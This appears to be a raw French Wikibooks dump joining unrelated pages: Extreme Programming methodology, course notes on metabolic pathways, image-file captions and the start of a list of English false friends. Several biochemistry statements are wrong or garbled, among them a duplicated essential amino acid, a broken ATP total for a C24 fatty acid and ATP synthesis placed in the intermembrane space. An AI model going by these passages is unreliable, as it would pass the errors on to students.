(XP) est une méthode agile de gestion de projet informatique, dont l'objectif est de permettre de gérer des projets de manière simple et efficace. Cette méthode a été inventée par Kent Beck et Ward Cunningham. L'Extreme Programming est né officiellement en octobre 2000 avec le livre "Extreme Programming Explained" de Kent Beck. C'est un processus incrémental, on travaille par binôme. L'un effectue la saisie du code et l'autre vérifie puis l'on tourne. A chaque fin de journée, on effectue le processus d'intégration (ce qui nécessite d'avoir fait les étapes de test, avant tout, d'analyse, de conception et de documentation !). ===Une méthode agile=== Comme toutes les méthodes de développement, l'Extreme Programming propose un cadre pour l'ensemble des aspects du projet logiciel, depuis l'analyse des besoins jusqu'aux tests, en passant par la conception. Mais à la différence des processus prédictifs, recourant généralement à [[Programmation UML|UML]] (même si XP utilise aussi parfois [[Programmation UML|UML]] comme support de communication), XP ne se fonde pas sur la définition exhaustive et précoce des besoins ; elle parie plutôt, à partir d'un ensemble de règles strictes, sur la souplesse et la mise en valeur du "capital humain". Modèle:Programmation XP 899 12557 2004-11-09T20:20:06Z Esope 99 modifs couleurs - position - modèle moins long {| style="border:1px #77AAAA solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" align="center" | style="text-align:center;background:#AACCCC;" | [[Programmation]] | [[Programmation XP|XP]] |- |[[Programmation XP Introduction|Introduction]] - [[Programmation XP Valeurs|Valeurs]] - [[Programmation XP Pratiques|Pratiques]] - [[Programmation XP Rôles|Rôles]] |} Programmation XP Valeurs 900 12558 2004-11-09T20:21:50Z Esope 99 repris de l'ancien site, fait par 213.244.28.243 {{Programmation XP}} La methode Extreme Programming s'appuie sur quatre valeurs: * La simplicité * La communication * Le courage * Le retour d'information (feedback) Programmation XP Pratiques 901 12559 2004-11-09T20:32:55Z Esope 99 repris de l'ancien site, fait par Traroth {{Programmation XP}} =Pratiques= ==La programmation comme discipline collective== Tout en mettant l'accent sur les bonnes pratiques de programmation, XP préconise un déroulement par itération courte et géré collectivement, avec une implication constante du client. Il en découle une redéfinition de la relation entre client et fournisseur, avec de surprenants résultats en termes de qualité de code, de délais et de satisfaction de la demande du client. ==Le cycle de l'Extreme Programming== [[image:Extreme_programming.png]]<br/><small>''Le cycle de développement XP''</small> ==Une méthode agile== ===Valeurs=== L'Extreme Programming repose sur [[Programmation XP Valeurs|4 valeurs fondamentales]] : * La communication : C'est le moyen fondamental d'éviter les erreurs. Le moyen à privilégier est la conversation directe, en face à face. Les moyens écrits ne sont que des supports et des moyens de mémorisation. * Le courage : Il est nécessaire à tous les niveaux et de la part de tous les intervenants, notamment chez les développeurs (quand des changements surviennent à un stade avancé du projet, ou quand des défauts apparaissent) et chez le client (qui doit pouvoir prioriser ses demandes). * Le retour d'information : Les itérations sont basées sur les retours d'informations du client, permettant une adéquation totale entre l'application finale et sa demande. * La simplicité : En Extreme Programming, la façon la plus simple d'arriver à un résultat est la meilleure. Prévoir préalablement des évolutions futures n'a pas de sens. Ce principe est résumé en une phrase : "Tu n'en auras pas besoin." (en anglais "''You ain't gonna need it.''"). La meilleure manière de rendre une application extensible est de la rendre aussi simple (et donc simple à comprendre) et bien conçue que possible. ===Pratiques=== Ces 4 valeurs se déclinent en 13 pratiques : * Un représentant du client sur site : Afin d'assurer une meilleure réactivité et un feed-back rapide, un représentant du client doit être présent pendant toute la durée du projet. Ce représentant doit avoir les connaissances d'un utilisateur final, mais en même temps une vision globale du résultat à obtenir. * Planning game : Le client créé des scénarii d'utilisation, en les priorisant. Ces scénarii seront ensuite implémentés par l'équipe de développement. Le projet est considéré comme achevé quand le client n'est plus en mesure de trouver de nouveau scénario. * Intégration continue : L'intégralité de ce qui est développé est assemblée à chaque fois qu'une tâche est terminée, ce qui permet d'avoir toujours une version à jour, notamment comme livrable ou pour le démarrage de nouvelles tâches. * Release fréquente : Les livraisons doivent être les plus fréquentes possibles, afin d'obtenir un feed-back le plus rapidement possible, tout en offrant des fonctionnalités complètes. La fréquence de livraison est donc de quelques semaines * Rythme soutenable : Afin d'éviter de surcharger l'équipe, elle ne fait pas d'heures supplémentaires deux semaines de suite. Si le cas se présentait, cela signifierait qu'il faut redéfinir le planning. * Tests de recette : A partir de critères définis par le client, on créé des procédures de test, souvent automatisées, qui permettent de vérifier fréquemment le bon fonctionnement de l'application. * Tests unitaires : Des procédures de test automatisées pour toutes les classes, méthodes et tous les autres codes-source. * Conception simple : L'objectif est de produire une application qui réponde aux attentes du client. Mieux vaut donc arriver à ce résultat de la manière la plus simple possible, afin de faciliter les évolutions futures en rendant le compte simple à comprendre et facile à modifier. De même, la documentation doit être minimale, c'est à dire ce qui est demandé par le client. * Utilisation de métaphores : On utilise des métaphores et des analogies pour décrire le système et son fonctionnement, ce qui permet de le rendre compréhensible par les non-informaticiens, comme les utilisateurs ou les commerciaux. * Refactoring du code : Amélioration continue de la qualité du code sans en modifier le comportement (commentaire du code, respect des règles de nommage, simplification, etc). * Convention de nommage : Dans l'optique d'appropriation collective du code et de facilitation de la communication, il est indispensable d'établir et de réspecter des normes de nommage pour les variables, méthodes, objets, classes, fichiers, etc. * Programmation en binôme : La programmation se fait par deux. Le premier, appellé ''driver'', a le clavier. C'est lui qui va travailler sur la portion de code à écrire. Le second, appellé ''partner'', est là pour l'aider, en suggérant de nouvelles possibilités ou en décelant d'éventuels problèmes. Les développeurs changent fréquemment de partenaires, ce qui permet d'améliorer la connaissance collective de l'application et d'améliorer la communication au sein de l'équipe * Appropriation collective du code : L'équipe est collectivement responsable de l'application et est supposée connaitre l'intégralité du code. Chacun peut également faire des modifications dans toutes les portions du code, même celles qu'il n'a pas écrit. ===Autres principes=== * Ne pas ajouter de fonctionnalités plus tôt que prévu * N'optimiser qu'à la toute fin Cette méthode s'appuie sur : * une forte réactivité au changement des besoins du client * un travail d'équipe * la qualité du code * la qualité des tests effectués au plus tôt Image:Extreme programming.png 902 12560 2004-11-09T21:02:45Z Esope 99 correction ortho Schéma XP fait par Traroth. En GFDL. Programmation XP Rôles 903 12561 2004-11-09T20:36:38Z Esope 99 repris de l'ancien site, fait par Traroth {{Programmation XP}} Extreme Programming prévoit 6 rôles différents, pour les différents membres de l'équipe : programmeur, client, testeur, tracker, coach et manager. == Programmeur == Contrairement à beaucoup d'autres méthodes, le programmeur occupe un rôle central dans une équipe Extreme Programming. Ces fonctions sont multiples : * Il doit choisir parmi les scénarii rédigés par le client et devant être réalisé durant l'itération courante, celles qu'il veut réaliser. Les programmeurs ne sont pas choisis arbitrairement pour réaliser une tâche donnée, mais doivent s'engager d'eux-même, en concertation avec le client et le coach. * Pour chaque module, il doit concevoir un test unitaire automatisé permettant de s'assurer du bon fonctionnement du module. Les tests unitaires doivent être créés '''avant''' le développement proprement dit. * Une fois qu'un certain nombre de scénarii lui ont été affectés, il doit concevoir et réaliser les modules permettant de les réaliser. Chaque fonctionalité doit être réalisée de manière à vérifier un test de recette automtisé. == Client == Le client est directement impliqué dans l'équipe de développement. Le représentant du client faisant partie de l'équipe doit avoir une vision synthétique des résultats à obtenir, ce qui n'est pas toujours facile. Il faut qu'il connaisse les objectifs de l'application, en terme de fonctionnalités, mais aussi les attentes des utilisateurs finaux. Il doit également avoir un pouvoir de décision afin de pouvoir prioriser les fonctionnalités. Ces fonctions sont : * Rédiger des scénarii d'utilisation permettant de synthétiser les fonctionnalités attendues. * Rédiger des procédures de test, permettant de créer des tests de recette automatisés. * Fournir des jeux de tests. * Prioriser les différentes fonctionnalités, afin de sélectionner celles qui seront réalisées durant chaque itération. * Définir un planning, en concertation avec le coach. == Testeur == == Tracker == == Coach == Le coach est la personne chargée de l'application de la méthode. C'est lui qui doit maitriser le mieux tous les aspects d'Extreme Programming. == Manager == Image:Uml.jpg 904 12562 2004-11-09T21:04:30Z Esope 99 Logo UML. Provient de www.omg.org. Utilisé en vertu du principe de Fair Use. Tous droits réservés Logo UML. Provient de www.omg.org. Utilisé en vertu du principe de Fair Use. Tous droits réservés Les principales voies du métabolisme 905 27507 2005-12-24T15:33:47Z 82.253.86.23 [[Image:Image001.png|400px|right]] ==Généralités== ===Devenir et utilisation des nutriments dans l'organisme=== ====Devenir des nutriments après le repas==== [[Image:Image004.gif]] *Les [[w:triglycéride|triglycérides]] : **Lieu de stockage : [[w:tissus adipeux|tissus adipeux]] selon 3 origines (acides gras, acides aminés et glucose) **Une fraction est oxydée dans tous les [[w:organe|organes]] *Les [[w:acides aminés|acides aminés]] (A.A.) : **Source d'énergie pour le [[w:foie|foie]] **Peuvent être transformés en [[w:acide gras|acides gras]] et certains en [[w:Glucose|glucose]] **Participation aux [[w:synthèses|synthèses]] protéiques dans toutes les cellules *Le [[w:glucose|glucose]] : **Source d'[[w:énergie|énergie]] principale **Stockage dans le [[w:foie|foie]] et les [[w:muscle|muscles]] **Transformation en [[w:triglycéride|triglycérides]] et [[w:stockage|stockage]] dans le [[w:tissus adipeux|tissus adipeux]] ====Devenir des nutriments lors d'une période de jeûne (de courte durée)==== [[Image:Image006.gif]] Problème essentiel : maintenir la [[w:glycémie|glycémie]] constante car le [[w:système nerveux|système nerveux]] ne peut utiliser que le glucose comme source d'énergie. Or le glucose n'est plus absorbé au niveau du tube digestif (période de [[w:jeûne|jeûne]]). Les sources de glucose sanguin sont au nombre de 4 : Glucose hépatique et les 3 voies de la [[w:néoglucogenèse|néoglucogenèse]]. Les Triglycérides sont la première source d"énergie utilisée en cas de jeûne. Si la période de jeûne est de courte durée, les réserves de [[w:glycogène|glycogène]] suffisent. Si la période de jeûne est de longue durée, il se produira une [[w:protéolyse|protéolyse]] afin de transformer les acides aminés en glucose et tous les organes (sauf le [[w:cerveau|cerveau]]) utiliseront les acides gras comme source d'énergie afin d'[[w:épargne|épargner]] au maximum la glycémie. ===Notions d'énergétique=== [[Image:Image008.gif]] ====Qu'est-ce que l'énergie ?==== [[Image:Image010.gif]] C'est la capacité à effectuer un travail. Toutefois, cette énergie existe sous deux formes : énergie cinétique (énergie de mouvement, eg : la pierre qui tombe) ou énergie potentielle (énergie de position, eg : énergie contenue dans la pierre). [[Image:Image012.gif]] Les deux énergies sont inter-convertibles soit de façon spontanée (c'est la pierre qui tombe et qui passe de son niveau énergétique haut à son niveau énergétique bas = réaction exergonique), soit de façon non spontanée (c'est la pierre qui remonte vers son niveau énergétique haut : il faut pour se faire apporter de l'énergie à la pierre = réaction endergonique). Toutefois, pour libérer l'énergie potentielle et transformer celle-ci en énergie cinétique il faut une énergie d'activation (eg : la clé que l'on tourne dans la voiture démarre le moteur) [[Image:Image014.gif]] Unités énergétique : kJ (le kilojoule) Couplage énergétique : Les réactions endergoniques sont couplées à des réactions exergoniques. ====Application avec le Glucose :==== [[Image:Image016.gif]] ''à corriger : fin de la réaction 38H2O + 38 ATP (il manque le 38 devant ATP)'' Rendement de la réaction : (R=41,2%) <math>\frac{Quantit\acute e~d'\acute energie~utilisable}{Quantit\acute e~d'\acute energie~globale} = \frac{1159\times 100}{2815} = 41,2%</math> <math>{rendement~des~pertes}=\frac{1656\times 100}{2815}=58,8%</math> ====La molécule énergétique :==== *A = Adénosine (Adénine + Ribose) *T = Tri *P = Phosphate *A = Adénosine *D = Di *P = Phosphates [[Image:Image022.gif]] ''attention à la lecture de ce graphique : il n'y a que 2 liaisons à haut potentiel et non pas 4'' *Adénosine + Acide phosphorique (Pi) + 10,5 kJ &rArr; adénosine mono-phosphate + H<sub>2</sub>O *AMP + Pi + 30,5 kJ &rArr; ADP + H<sub>2</sub>O *ADP + Pi + 30,5 kJ &rArr; ATP + H<sub>2</sub>O [[Image:Image024.gif]] L'ATP (au niveau cellulaire) ne sert pas vraiment à stocker de l'énergie (dans la cellule on stocke l'énergie sous forme de glycogène) ; par contre c'est une molécule de transfert énergétique : elle peut transporter l'énergie là où l'on en a besoin. On a besoin de sous pour vivre. Le lieu de stockage est la banque (foie) qui stocke sous forme de lingots d'or (glycogène). Nous, on ne paye pas en lingots mais en petites pièces (ATP). Nous dépensons en fonction de nos besoins. Nous avons besoin de ressources pour fournir l'argent à la banque (petit-déjeuner, déjeuner…). ===Les coenzymes=== Le métabolisme énergétique (eg : réaction d'oxydation cellulaire du glucose : C<sub>6</sub>H<sub>12</sub>O<sub>6</sub> + 6 O<sub>2</sub> &rArr; 6 CO<sub>2</sub> + 6 H<sub>2</sub>O) ne s'effectue pas en une seule étape mais nécessite l'intervention de nombreuses réactions enzymatiques. Les principales étant des réactions de déshydrogénation et de décarboxylation. Les deux réactions se font par le biais d'enzymes décarboxylases et déshydrogénases. Ces enzymes ne peuvent travailler seules. Il leur faut l'aide de coenzymes. Qu'est-ce qu'un coenzyme ? C'est une molécule qui aide l'enzyme à fonctionner. NAD = Nicotinamide Adénine Dinucléotide *Nicotinamide : synthétisé par vitamine PP ou tryptophane = acide aminé essentiel *Adénine : base azotée *Dinucléotide : 2 riboses [[Image:Image026.gif]] sur le schéma : NAD (les deux en haut) et NADP (la réaction du bas) ====Rappel :==== Equation enzymatique : E+S&rArr;ES&rArr;E+P Classes enzymatiques : oxydoréductases, transférases, hydrolases, lyases, isomérases, ligases Certains enzymes ne travaillent qu'en présence d'une coenzyme. Une coenzyme est une molécule organique spécifique thermostable et de faible poids moléculaire. L'ensemble enzyme & coenzyme constitue l'holoenzyme (apoenzyme + coenzyme). La coenzyme peut être liée de façon covalente ou non à l'apoenzyme. Si la coenzyme est liée de façon covalente on parlera de groupe prosthétique (eg : hémoglobine &rArr; le fer est le cofacteur, le coenzyme). Les enzymes nécessitant des coenzymes sont : *Oxydoréductases *Transférases *Isomérases *Ligases Les enzymes ne nécessitant pas de coenzymes sont : *Hydrolases *Lyases La coenzyme est souvent envisagée comme cosubstrat de la réaction ou second substrat réactionnel : [[Image:Image028.gif]] ====Rôle des coenzymes comme réactifs de transfert de groupe.==== Eg : déshydrogénation ou transamination. Equation globale : D-G+A &rArr; A-G+D {| border="1" cellpadding="2" |+ Coenzymes élémentaires !élément !enzymes |- |Fe<sup>2+</sup> / Fe<sup>3+</sup> |Cytochromes, peroxydases, catalases |- |Cu<sup>+</sup> / Cu<sup>2+</sup> |Cytochrome oxydase, tyrosinase |- |Mg<sup>2+</sup> |Phosphotransférase |- |Mn<sup>2+</sup> |Arginase, enzyme à biotine |- |Zn<sup>2+</sup> |Alcool déshydrogénase, anhydrase carbonique |- |K<sup>+</sup> |Pyruvate kinase |- |Na<sup>+</sup> |Pompe sodium – potassium |- |Mo<sup>3+</sup> / Mo<sup>6+</sup> |Xanthine oxydase, sulfite oxydase |- |Se |Glutathion peroxydase |- |Cl<sup>-</sup> |&alpha;-amylase, enzyme de conversion |- |Ni<sup>2+</sup> |Uréase |- |Ca<sup>2+</sup> |Phosphorylase kinase |- |} {| border="1" cellpadding="2" |+ Coenzymes organiques !colspan=2|Coenzyme et abréviation !Vitamine ou facteur de croissance apparente !Principales fonctions |- |colspan=4|<center>'''COENZYMES DES OXYDOREDUCTASES'''</center> |- |I- |Nicotinamide-adénine-dinucléotide (NAD)<br />Nicotinamide-adénine-dinucléotide-phosphate (NADP) |Tryptophane, nicotinamide |rowspan=4|Oxydoréduction (déshydrogénase, oxygénases, transporteurs de la chaîne respiratoire) |- |II- |Flavine-mononuclétide (FMN)<br />Flavine-adénine-dinucléotide (FAD) |Vitamine B<sub>2</sub> ou riboflavine |- |III- |Groupement prosthétiques des cytochromes | |- |IV- |Coenzymes quinoniques (ubiquinones) | |- |V- |Tétrahydrobioptérine |Aucun |Hydroxylation Phe, Tyr, Trp |- |colspan=4|<center>'''COENZYMES DES AUTRES CLASSES'''</center> |- |I- |Carboxylations, décarboxylations <ol><li>Biotine</li><li>Thiamine pyrophosphate (TPP)</li><li>Acide lipoïque</li></ol> |&nbsp;<ol><li>Biotine</li><li>Vitamine B<sub>1</sub> ou thiamine</li><li>Acide lipoïque</li></ol> |&nbsp;<ol><li>&beta;-carboxylation</li><li>décarboxylation d'acides &alpha;–cétoniques</li><li>décarboxylation oxydative d'acides &alpha;-cétoniques</li></ol> |- |II- |Transferts de radicaux monocarbonés (sauf carboxyle) <ol><li>Méthylcobalamine</li><li>S-adénosyl-méthionine</li><li>Tétrahydrofolate (THF)</li></ol> |&nbsp;<ol><li>Vitamine B<sub>12</sub> (cobalamine)</li><li>Méthionine</li><li>Acide folique</li></ol> |&nbsp;<ol><li>Transfert de méthyle</li><li>Transfert de méthyle</li><li>Transfert de tous les radicaux monocarbonés</li></ol> |- |III- |Transfert d'acyle<br />Coenzyme A (CoA-SH) |Acide pantothénique | |- |IV- |Nucléotides et dérivés <ol><li>Adénosine triphosphate (ATP)<br />Phospho-adénosine-phosphosulfate (PAPS)</li><li> Uridine triphosphate (UTP)<br />UDPGlc, UDPGal</li><li>Guanosine triphosphate (GTP)<br />GCPmannose</li><li>Cytidine triphosphate (CTP)<br />CDPcholine</li></ol> | |&nbsp;<ol><li>Transfert d'énergie, P, PP et AMP<br />Transfert de sulfate</li><li>Transfert d'oses</li><li>Transfert d'énergie, de P<br />Transfert d'oses</li><li>Transfert d'amines (choline, etc…)</li></ol> |- |V- |Métabolisme des amino-acides<br />Phosphate de pyridoxal (PAL) |Vitamine B<sub>6</sub> ou pyridoxine | |- |VI- |Isomérisations<br />Adénosylcobalamine |Vitamine B<sub>12</sub> (cobalamine) | |} [[Image:Image032.gif]] [[Image:Image034.gif]] ==Le métabolisme des glucides== [[Image:Image036.gif]] [[Image:Image038.gif]] ===La glycogenèse=== [[Image:Image040.gif]] #glucokinase (= kinase : ajoute un acide phosphorique) #phosphoglucomutase = mutase #UDP glucophosphorylase #Glycogénosynthase #Enzyme branchante ===Glycogénolyse=== [[Image:Image042.gif]] Seul le Glc est capable de passer la membrane cytoplasmique, G<sub>1</sub>P ou G<sub>6</sub>P sont incapables de sortir de la cellule. #Phosphorylase #Phosphoglucomutase #Glucose phosphatase La glucose phosphatase n'existe que dans le foie. Dans le muscle il y a aussi une réserve de glycogène. ===La glycolyse=== S'effectue dans toutes les cellules sauf les adipocytes (utilisent les acides gras) et le foie (utilise les acides aminés). [[Image:Image044.gif]] Cet ensemble de réactions s'effectue dans le cytosol. Glycolyse s'effectuant en milieu ANAEROBIE. ====Devenir des 2 molécules de pyruvate==== deux devenirs différents suivant la situation anaérobie (<strike>O<sub>2</sub></strike>) ou aérobie (O<sub>2</sub>). [[Image:Image046.gif]] [[Image:Image048.gif]] ====La chaîne respiratoire==== (régénération des co-enzymes réduits) Les co-enzymes sont dans la matrice mitochondriale. La chaîne respiratoire va permettre de régénérer les co-enzymes réduits. [[Image:Image050.gif]] [[Image:Image052.gif]] Ces réactions d'oxydoréduction s'effectuent au niveau de la membrane interne de la mitochondrie et à l'aide d'enzymes et de coenzymes à savoir des enzymes de transport de protons (H<sup>+</sup>) du transporteur réduit (NAD ou FAD) du O<sub>2</sub> et d'autre part des enzymes de couplage énergétique le tout constitue la chaîne respiratoire. But de la chaîne respiratoire : faire passer des protons et des électrons d'un potentiel le plus électronégatif vers un potentiel le plus électropositif. [[Image:Image054.gif]] Les protons libérés dans l'espace inter membranaire par le CoEQ ressortent vers la matrice de la mitochondrie via un complexe F<sub>0</sub>/F<sub>1</sub>. F<sub>0</sub> = canal protéique à protons F<sub>1</sub> = complexe ATP/synthétase Le transfert des 2 protons au travers de F<sub>0</sub> permet de faire fonctionner F<sub>1</sub> et donc de fabriquer une molécule d'ATP dans l'espace inter-membranaire, H<sup>+</sup> rencontre O<sub>2</sub> qui le capte pour former de l'eau. [[Image:Image056.gif]] ====Cycle de Krebs==== Dans la matrice de la mitochondrie [[Image:Image058.gif]] [[Image:Image060.gif]] ==Métabolisme des acides aminés== ===Devenir des protéines alimentaires=== Alimentation &rArr; protéines alimentaires (végétales et animales) &rArr; acides aminés (par l'action de protéases) Acides aminés non-indispensables, indispensables (Tryptophane, Valine, Leucine, Isoleucine, Valine, Thréonine, Méthionine, Phénylalanine), acides aminés pseudo indispensables (Arginine, Histidine). [[Image:Image062.gif]] Le "turn-over" des protéines tissulaires est de 1 à 2% (''par jour ? information lacunaire à ce niveau''). C'est à dire que 1 à 2% des protéines tissulaires sont dégradés en acides aminés. 75% des acides aminés obtenus servent à synthétiser d'autres protéines. Le reste est soit dégradé sous forme de déchets (urée), soit on en fait des glucides ou des corps cétoniques. Ce qui signifie que la perte nette journalière en protéines est de 30/40g. Pertes en azote de 5 à 7g/jour. [[Image:Image064.gif]] Il n'y a pas de stockage d'acides aminés. Bilan de N : équilibre : entrées = sorties Mais parfois ce bilan peut être positif Entrée > Sortie (eg : femme enceinte, nourrisson, adolescent) Ou bien peut être négatif Entrée < Sortie (eg : personnes atteintes de maladies nutritionnelles ; anorexie, Kwashiorkor) ===Catabolisme des acides aminés=== ====Désamination oxydative==== [[Image:Image066.gif]] [[Image:Image068.gif]] ====Réaction de transamination==== réaction de transfert de la fonction amine [[Image:Image070.gif]] [[Image:Image072.gif]] ====Réaction de décarboxylation==== [[Image:Image074.gif]] ====Couplage désamination-transamination==== [[Image:Image076.gif]] ====Devenir de l'ammoniac==== Cycle de l'urée : consomme 4 molécules d'ATP par mole d'urée synthétisée [[Image:Image078.gif]] Cette voie est consommatrice d'ATP : l'organisme doit dépenser de l'énergie pour ce processus de détoxication. Bilan énergétique : - 4 ATP / mole d'urée synthétisée. [[Image:Image080.gif]] [[Image:Image082.gif]] ==Le métabolisme des lipides== [[Image:Image084.gif]] Acides Gras : entrent dans un cycle de &beta;-oxydation au niveau de la matrice mitochondriale &beta;-oxydation des acides gras (matrice mitochondriale), les réactions se font en chaîne et on l'appelle "hélice de Lynen". [[Image:Image086.gif]] [[Image:Image088.gif]] [[Image:Image090.gif]] Bilan : pour un acide gras en C<sub>18</sub> (18/2=9 ; 9-1=8; 8 tours d'hélice) {| border="0" cellpadding="2" |<math>8\times 12\,\!</math> |<math>=\,\!</math> |<math>96\,\!</math> |<math>{ATP}\,\!</math> |- |<math>8\times 5\,\!</math> |<math>=\,\!</math> |<math>40\,\!</math> |<math>{ATP~(NADH~et~FAD)}\,\!</math> |- |<math>1\times 12\,\!</math> |<math>=\,\!</math> |<math>12\,\!</math> |<math>{ATP~(Dernier~tour)}\,\!</math> |- | | |<math>-2\,\!</math> |<math>{ATP~(Derni\grave ere~\acute etape)}\,\!</math> |- |<math>{TOTAL}\,\!</math> | |<math>146\,\!</math> |<math>{ATP}\,\!</math> |- |} pour un C<sub>24</sub> : 12-1= 197 ATP [[Image:Image094.gif]] eg : lorsque l'on mange une religieuse au chocolat et que l'on ne dépense pas ce sucre par un footing, le glucose ne se dirige pas vers le Cycle de Krebs mais vers les Acides Gras. Il y a conservation d'un peu de sucre pour fabriquer du glycérol (glycérol + 3 acides gras = triglycéride). La transformation du glucose en acides gras + glycérol = triglycéride s'appelle la lipogenèse (a lieu dans le foie et les tissus adipeux). Image:Capture1.png 907 12564 2004-11-09T21:59:41Z Bionet 111 état post prandial état post prandial Image:Image001.png 909 12566 2004-11-09T22:43:18Z Bionet 111 logo du livre sur les voies métaboliques logo du livre sur les voies métaboliques Image:Image004.gif 910 12567 2004-11-09T22:45:35Z Bionet 111 Etat post-prandial Etat post-prandial Image:Image006.gif 911 12568 2004-11-09T22:48:36Z Bionet 111 Etat de jeûne Etat de jeûne Image:Image008.gif 912 12569 2004-11-09T22:49:53Z Bionet 111 Généralités en énergétique Généralités en énergétique Image:Image010.gif 914 12570 2004-11-09T22:52:19Z Bionet 111 Schéma général de l'Energie Schéma général de l'Energie Image:Image012.gif 915 12571 2004-11-09T22:53:52Z Bionet 111 Les différentes énergies Les différentes énergies Image:Image014.gif 916 12572 2004-11-09T22:55:25Z Bionet 111 Les réactions endergoniques et exergoniques Les réactions endergoniques et exergoniques Image:Image016.gif 917 12573 2004-11-09T22:57:12Z Bionet 111 Réactions exergoniques et endergoniques : application avec le Glucose Réactions exergoniques et endergoniques : application avec le Glucose Image:Image018.gif 918 12574 2004-11-09T23:02:14Z Bionet 111 Image:Image020.gif 919 12575 2004-11-09T23:00:24Z Bionet 111 Image:Image022.gif 920 12576 2004-11-09T23:00:58Z Bionet 111 ATP (Adénosine Tri Phosphate) ATP (Adénosine Tri Phosphate) Image:Image024.gif 921 12577 2004-11-09T23:03:04Z Bionet 111 Adénosine, AMP, ADP, ATP Adénosine, AMP, ADP, ATP Image:Image026.gif 922 12578 2004-11-09T23:04:25Z Bionet 111 Les Coenzymes Les Coenzymes Image:Image028.gif 923 12579 2004-11-09T23:05:49Z Bionet 111 Coenzymes : réaction Coenzymes : réaction Image:Image030.gif 924 12580 2004-11-09T23:06:52Z Bionet 111 Coenzymes : transfert de groupes Coenzymes : transfert de groupes Image:Image032.gif 925 12581 2004-11-09T23:09:12Z Bionet 111 FAD : Flavine Adénine Dinucléotide FAD : Flavine Adénine Dinucléotide Image:Image034.gif 926 12582 2004-11-09T23:10:34Z Bionet 111 Coenzymes : FAD et FMN Coenzymes : FAD et FMN Biochimie 927 38909 2006-03-27T13:32:04Z 81.56.162.213 == Table des matières == [[Catégorie:Biologie]][[Catégorie:Chimie]] <!-- [[Introduction(Biochimie)|Introduction]] --> <!-- #[[Notions de base (Biochimie)|Notions de base]] --> #[[Les principales voies du métabolisme|Les principales voies du métabolisme]] [[Image:100%.png]] #[[Les principaux constituants de la matière vivante|Les principaux constituants de la matière vivante]] [[Image:100%.png]] [[en:Biology Biochemistry]] Image:Image036.gif 928 12584 2004-11-09T23:16:25Z Bionet 111 Métabolisme glucidique : généralités Métabolisme glucidique : généralités Image:Image038.gif 929 12585 2004-11-09T23:17:18Z Bionet 111 Métabolisme glucidique Métabolisme glucidique Image:Image040.gif 930 12586 2004-11-09T23:18:10Z Bionet 111 La glycogenèse La glycogenèse Image:Image042.gif 931 12587 2004-11-09T23:19:19Z Bionet 111 La glycogenolyse La glycogenolyse Image:Image044.gif 932 12588 2004-11-09T23:20:05Z Bionet 111 La glycolyse La glycolyse Image:Image046.gif 933 12589 2004-11-09T23:20:47Z Bionet 111 Devenir du pyruvate Devenir du pyruvate Image:Image048.gif 934 12590 2004-11-09T23:21:33Z Bionet 111 Devenir du pyruvate dans la mitochondrie Devenir du pyruvate dans la mitochondrie Image:Image050.gif 935 12591 2004-11-09T23:22:24Z Bionet 111 Coenzymes Coenzymes Image:Image052.gif 936 12592 2004-11-09T23:23:14Z Bionet 111 Coenzymes FAD et NAD Coenzymes FAD et NAD Image:Image054.gif 937 12593 2004-11-09T23:23:53Z Bionet 111 localisation mitochondriale de la chaîne respiratoire localisation mitochondriale de la chaîne respiratoire Image:Image056.gif 938 12594 2004-11-09T23:24:32Z Bionet 111 glycolyse et cycle de Krebs glycolyse et cycle de Krebs Image:Image058.gif 939 12595 2004-11-09T23:25:19Z Bionet 111 cycle de Krebs cycle de Krebs Image:Image060.gif 940 12596 2004-11-09T23:25:58Z Bionet 111 catabolisme des glucides catabolisme des glucides Image:Image062.gif 941 12597 2004-11-09T23:27:17Z Bionet 111 les acides aminés les acides aminés Image:Image064.gif 942 12598 2004-11-09T23:28:12Z Bionet 111 anabolisme et catabolisme des acides aminés anabolisme et catabolisme des acides aminés Image:Image066.gif 943 12599 2004-11-09T23:29:17Z Bionet 111 désamination oxydative désamination oxydative Image:Image068.gif 944 12600 2004-11-09T23:29:59Z Bionet 111 exemple de désamination oxydative exemple de désamination oxydative Image:Image070.gif 945 12601 2004-11-09T23:30:38Z Bionet 111 transamination transamination Image:Image072.gif 946 12602 2004-11-09T23:31:12Z Bionet 111 exemple de transamination exemple de transamination Image:Image074.gif 947 12603 2004-11-09T23:31:51Z Bionet 111 décarboxylation décarboxylation Image:Image076.gif 948 12604 2004-11-09T23:32:27Z Bionet 111 désamination + transamination désamination + transamination Image:Image078.gif 949 12605 2004-11-09T23:33:06Z Bionet 111 cycle de l'urée cycle de l'urée Image:Image080.gif 950 12606 2004-11-09T23:33:46Z Bionet 111 métabolisme des acides aminés métabolisme des acides aminés Image:Image082.gif 951 12607 2004-11-09T23:34:28Z Bionet 111 métabolisme des acides aminés métabolisme des acides aminés Image:Image084.gif 952 12608 2004-11-09T23:35:35Z Bionet 111 catabolisme des lipides catabolisme des lipides Image:Image086.gif 953 12609 2004-11-09T23:36:10Z Bionet 111 béta-oxydation des acides gras béta-oxydation des acides gras Image:Image088.gif 954 12610 2004-11-09T23:37:08Z Bionet 111 béta-oxydation des acides gras béta-oxydation des acides gras Image:Image090.gif 955 12611 2004-11-09T23:37:39Z Bionet 111 hélice de Lynen hélice de Lynen Image:Image092.gif 956 12612 2004-11-09T23:38:33Z Bionet 111 bilan énergétique catabolisme d'un acide gras en C18 bilan énergétique catabolisme d'un acide gras en C18 Image:Image094.gif 957 12613 2004-11-09T23:39:04Z Bionet 111 synthèse d'acides gras à partir de glucides synthèse d'acides gras à partir de glucides Faux amis en anglais 960 45338 2006-06-21T15:23:56Z 195.83.139.169 /* C */ ==Faux-amis anglais par ordre alphabétique== {{compactTOC}} == A == * ''achievement'' : succès * ''actual'' : réel, effectif * ''actually'' : en fait, en réalité * ''address'' : discours, allocution — ''faux ami partiel'' : peut aussi avoir le sens français. * ''affair'' : ''a love affair'', une aventure amoureuse * ''affluent'' : riche, prospère — ''faux ami partiel'' : peut aussi avoir le sens français. * ''agenda'' : idée préconçue, ordre du jour d'une réunion (cf ''hidden agenda'': buts cachés) — ''faux ami partiel'', peut aussi avoir le sens français ** fr:agenda = ''diary'' * ''alternatively'' : une autre solution serait de ... * ''amortisation'' : remboursement (emprunt) * ''apologies'' : des excuses * ''apology'' : excuses * ''appeal'' : attrait, sollicitation * ''appendix'' : les annexes (d'un document, d'un rapport) * ''appointed'' : fixé (par ex. un rendez-vous), désigné (par ex. un ministre) * ''argument'' : une dispute — ''faux ami partiel'' : peut aussi avoir le sens français * ''assumption'' : hypothèse * ''to abuse'' : insulter, exagérer, mais par exemple: ''child abuse'' = maltraitance, abus, sévices * 